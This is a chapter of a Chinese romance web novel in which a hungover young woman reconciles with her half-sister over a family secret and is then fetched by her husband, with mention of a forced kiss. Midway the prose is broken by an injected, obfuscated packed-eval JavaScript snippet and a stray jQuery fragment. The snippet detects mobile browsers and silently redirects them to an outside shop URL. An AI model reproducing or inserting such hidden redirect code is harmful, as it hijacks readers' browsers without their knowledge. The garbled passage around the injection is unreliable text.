睡醒已是下午两点,旎真两手撑着身子坐起来,眯着眼睛发了会儿呆,拔下充电线看了眼手机时间,叹气,趿着拖鞋进卫生间。
镜子里的人还维持着昨天的样貌,满身酒臭,死气沉沉。
她打开水龙头,等待加热的时间看未接来电,看微信。
申雪打来一通,陈延泽打来三通,关楚琼打来一通,关耀钧打来一通。
......
早上九点。
徐景商:我上班了,早上给你煮了解酒汤,在冰箱保鲜中间那层。
徐景商:微波炉加热三分钟才能喝,连着碗直接放进去,右下角轮盘向右拧,别拧过了。
徐景商:微波炉在厨房进门左手边。
她挤出牙膏,含了口热水吐掉,边刷牙边打字:辛苦了老婆,晚上想吃什么?
徐景商秒回:不了,你收拾好赶紧回家吧,陈总在问你了。
附一张聊天截图。
这周末旎真住在徐景商这里,原定昨晚回去的,迟迟未归,电话又打不通,陈延泽便给徐景商打去电话,徐景商编了个接口说旎真睡着了,但是第二天上午仍没回音,陈延泽察觉到不对,又发来微信询问。
徐景商:/偷笑//白眼/
旎真:......
梳洗完毕,旎真点进跟陈延泽的对话框,精心挑选了一个卡通表情包,发送。
旎真:才睡醒,不是故意不回。
打字的间隙,隐约听到外头传来动静声,直到脚步越来越明显伴随着门锁开启的声音,她从卫生间出来,看见一身行政西装穿着拖鞋的关楚琼,显然到了很久。
旎真愕然:“姐?”
关楚琼神色无异:“醒了啊,出来吃饭。”
举着的手机渐渐落下,旎真吸了口气,随便挽了个头发走进客厅。
刚出来就闻到饭菜香味,一眼扫去,餐桌上摆着花胶海参汤,银鱼鸡蛋羹和排骨粥,色香俱全。
“姐怎么做什么都这么厉害,跟外面卖的一样。”
“热知识,网上全是菜谱。”
关楚琼进了厨房,背对着她收拾用过的锅具:“我看冰箱里有解酒汤就给你打热了,趁热喝。”
旎真慢腾腾地“哦”了一声,坐下来:“你别收拾了,待会叫个钟点工。”
她说话声音很小,也不知道关楚琼听见没有,索性身子回正握着汤匙一口一口地喝汤。
关楚琼三两下收拾完到对面坐下,给自己舀了小半碗粥,终于忍不住训道:“你已经不是小孩了,好歹成家了,怎么还喝个烂醉睡到下午?”
想起昨天关耀钧说的话,旎真思绪错杂,一时半会也转变不过来,仍依着平日里跟关楚琼的相处方式。
“又不是天天这样。”
“还有理了?”关楚琼笑笑,饭桌上就不一直说她了:“景商早上就给我说了,正好今天没什么要紧事,过来看看你。”
吃着关楚琼做的饭,旎真百感交集。
不管怎样,哪怕她是爸爸跟别的女人生的孩子,也是她的亲姐姐啊,她感受到的真情关切是实实在在的,这个家里,唐女士和关耀钧可以不把她当亲人,唯独自己不行。
所以心脏一直钝着疼,不过是摸不准关楚琼对自己的态度。
她一直都知道这层身份,她远在澳洲还有一个亲弟弟一个亲妹妹,那自己呢?
旎真斟酌再三,忍不住道:“我跟哥哥见过了,你要的那个文件没拿到。”
关楚琼并不惊讶,似乎猜到了:“他说你了?”
“没有,哥跟我说......”
她放下勺子,双手自然放在腿上平视前方,关楚琼侧了下额,示意在听。
旎真垂下眼帘:“他跟我说了内容,我知道了。”
关楚琼也没有惊讶,只是喝粥的速度减慢,默然无声。
“你想告诉我,却不能明着说出来,只好让哥哥告诉我,对不对?所谓的帮忙就是个幌子,瞒了我这么多年,为什么这么突然?”
百叶窗透进的一束光线指向桌角的蝴蝶兰,光路中有微小的浮尘流动,而她们互为静止。
半晌,关楚琼才启唇:“看来我妹妹很聪明嘛。”
“没有为什么,你迟早都会知道。”
旎真扯了扯嘴角,没什么笑意:“也是。”
她刚想说,那份文件里还有别的内容,但话到嘴边又咽了下去。
关耀钧不肯说肯定有他的道理,如今她也要学着做个聪明人,不能什么都往外讲了。
姐妹俩之间从没有过这种气氛,冥冥中好像有什么东西变了,但仔细想想,又没有实质性变化,只是心态的转变。
吃完饭,桌上的手机铃声响起,旎真一开始还以为是关楚琼的电话在响,直到看见她拿起手机看了一眼,示意自己接:“陈延泽,找你的。”
旎真放下咖啡杯,将手机搁在耳边:“喂,延泽哥。”
“还在景商家?”
“嗯。”
“我来接你。”
他鲜少以这种不容置喙的口吻说话,旎真顿了半秒,应了声好。
关楚琼在一旁边听边换鞋,“他要来接你是吧,”她抓起玄关柜上的钥匙,打开门,“我公司还有事,就先走了。”
旎真嗯声,紧跟着又叫了声姐,几乎是无意识的脱口而出。
即将迈出去的步子一顿,收了回来,关楚琼长长地舒了口气,走过去握住旎真的肩头,又顺了顺她乱糟糟的鬓发:“不要多想了,姐姐永远是你的姐姐,我从来没有怀疑过我们对彼此的感情,你也是?”
“嗯!”旎真一开嗓声音就有两分哽咽,重重地点头。
她刚想张开双臂寻求拥抱,关楚琼已经急哄哄的离开了,仿佛来这一趟就是为了做顿饭,看看她。
......
人走后,旎真往浴缸里放满热水,好好地泡了个澡,顺便连头发也一起洗了。
没看手机,就这么安静冥想。
不得不说,积压一整晚的郁结因为关楚琼走时说的那通话而消散了大半。
她从不怀疑真心,只怕缺少那份直面的勇气。
关董事长从前的家庭观念还算重,可每周也只能分出半天时间陪伴孩子,唐女士则早早移居别住。
旎真觉得自己跟爸妈之间更像是角色扮演。
而姐姐是她在关家仅有的爱和依赖,很多时候甚至超过了父母。
眯了一会儿,放在壁龛里的手机忽地震动,旎真草草地擦了擦手起身去够,出水的瞬间带出一地水花。
在看见来电人是陈延泽后,她迟疑两秒,忐忑地接通:“喂,延泽哥。”
“旎真,开下门。”
从接到陈延泽电话到现在也就半个小时,没想到他这么快就来了,旎真叠声道:“来了来了,等我几分钟!”
迅速擦干身体,又冲进徐景商的衣帽间随便选了一件带胸垫的家居裙,旎真挽着不停滴水的发尾,一路滴滴答答地走过去开门。
门一打开,两个人都愣了半秒。
陈延泽鲜少见到旎真穿得这么……不禁怀疑是不是自己电话里的语气带了点催促的意思。
虽说在家里也时常穿得舒适休闲,小姑娘喜欢可爱粉嫩的衣服很正常,可这两颗圆棕色的狗狗眼,是衣服吧?
他的视线几乎盯死在旎真脸上,根本不敢往下挪。
“怎么了吗?”旎真注意到不对劲,默默侧身让出位置,心想没漏三点啊。
“没事,需要换鞋吗?”
“不用......”
陈延泽当然不会点破,步子有点快地走进客厅,这是他第一次来这儿,户型虽小采光很好。
旎真还没反应过来,关好门跟上去,站在客厅中央,狐疑地盯着男人的背影:“那个,延泽哥先坐会儿,冰箱里有饮用水,我进去吹个头发。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679170|207629||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
陈延泽没转身,应了声好。
旎真来到浴室柜前,弯腰拿出吹风机,刚插上电吹了没几分钟,看着镜子里的自己越想越觉得不对劲,便停了下来。
她重新回到衣帽间,低头扯了扯自己胸前两个狗狗眼,正欲翻一件自己的衣服套上时,余光忽地瞥向一旁的全身镜。
出来得急,旎真心想反正是带胸垫的裙子,下面真空就真空吧。
但她恰恰忘了一件非常非常重要的点。
徐景商比自己矮了接近一个头,她穿着到大腿的裙子自己穿几乎是齐.逼了!还特么没穿内裤,走路半个屁股都露在外面!
啊——
旎真捂住口鼻失声惊叫,飞奔到床上一头栽进被窝,疯狂滚来滚去。
啊啊啊!
怪不得他表情怪异,不会以为她是故意这么穿的吧!
渐渐的,旎真心头涌上一个更为不好的念头,她光着脚下床,正对着全身镜走过去,目光紧盯着镜子里移动的身影,一遍、两遍,三遍。
还好,若不是刻意观察,几乎看不到那抹亮黑,不过也就差一点了。
旎真忍不住想锤墙,十分懊悔怎么就穿了这件衣服,为什么徐景商偏偏只有一米六!
“旎真?”
客厅里传来陈延泽有些焦急的声音,“怎么了?我听到咚咚咚的声音,你在里面摔倒了?”
“!”旎真揉了揉绯红的双腮,清了清嗓子:“没有没有!吹风机好像坏了,我砸两下就好了。”
“......”
十分钟后,旎真穿戴整齐出现在陈延泽面前,他大概猜到那动静的缘由,面上已看不出半分异样,倒是旎真还有些尴尬,讲话时躲躲闪闪。
给徐景商发消息说走了,她坐上副驾系好安全带。
汽车缓缓驶上地面,小区坐落于闹市,人群和车流渐渐躲起来,陈延泽把着方向盘,语气听不出情绪:“没接到电话,事后也不知道回一个?”
旎真在想这到底是质问还是担心,又见他侧目:“大晚上的,我会担心你。”
旎真舔了舔干涸的下唇,“我忘了,昨晚我跟一群朋友在一起,不会有事的。”说着停顿两秒,再试探道:“...我们在夜店玩。”
陈延泽淡淡颔首:“年轻爱去夜店正常,注意保护自己。”
这句话,旎真不知道该怎么接了,她看着不断倒退的街景,唇线抿直。
“所以昨晚景商其实跟你在一起?”
“没,她没来。”
“那通常跟你一起出去喝酒的朋友,谁酒量比较好,人又靠谱的?”
旎真抱着双臂歪头想了想:“特别靠谱啊,特别靠谱的好像......”
过了一会儿,陈延泽忍不住笑出声,她心一噔扭头看去,“刚刚不是还在说跟朋友在一起不会有事?”
“......”旎真耳根发烫:“问这个干嘛?”
“怕下次联系不上你时可以联系他。”
......
你是我的妻子,我对你有责任。
前方红灯,车子压在斑马线后停稳,小学生们或结伴或奔跑地过去,欢声笑语连绵不绝。
旎真脸回正,低头看手机。
秦克多半是睡醒了,接连给她发了几条消息。
秦克:妹妹,别生气。
秦克:他就是一时冲动。
秦克:帮你问过那片的物业了,你们接吻那个地方刚好是监控死角,不会被拍到的,你放心啊,哥已经帮你教训过他了,打了他一拳。
看到消息,旎真就气不打一处来,昨晚那个程度不至于彻底断片,发生了什么她记得清清楚楚,一定会找靳劭豪算账的。
刚好秦克撞枪口,为人又跟靳劭豪半斤八两,旎真当下就激情开麦了。
旎真:你还算个人?我被强吻就在边上看着!人渣!活着都浪费粮食你怎么不死女人床上!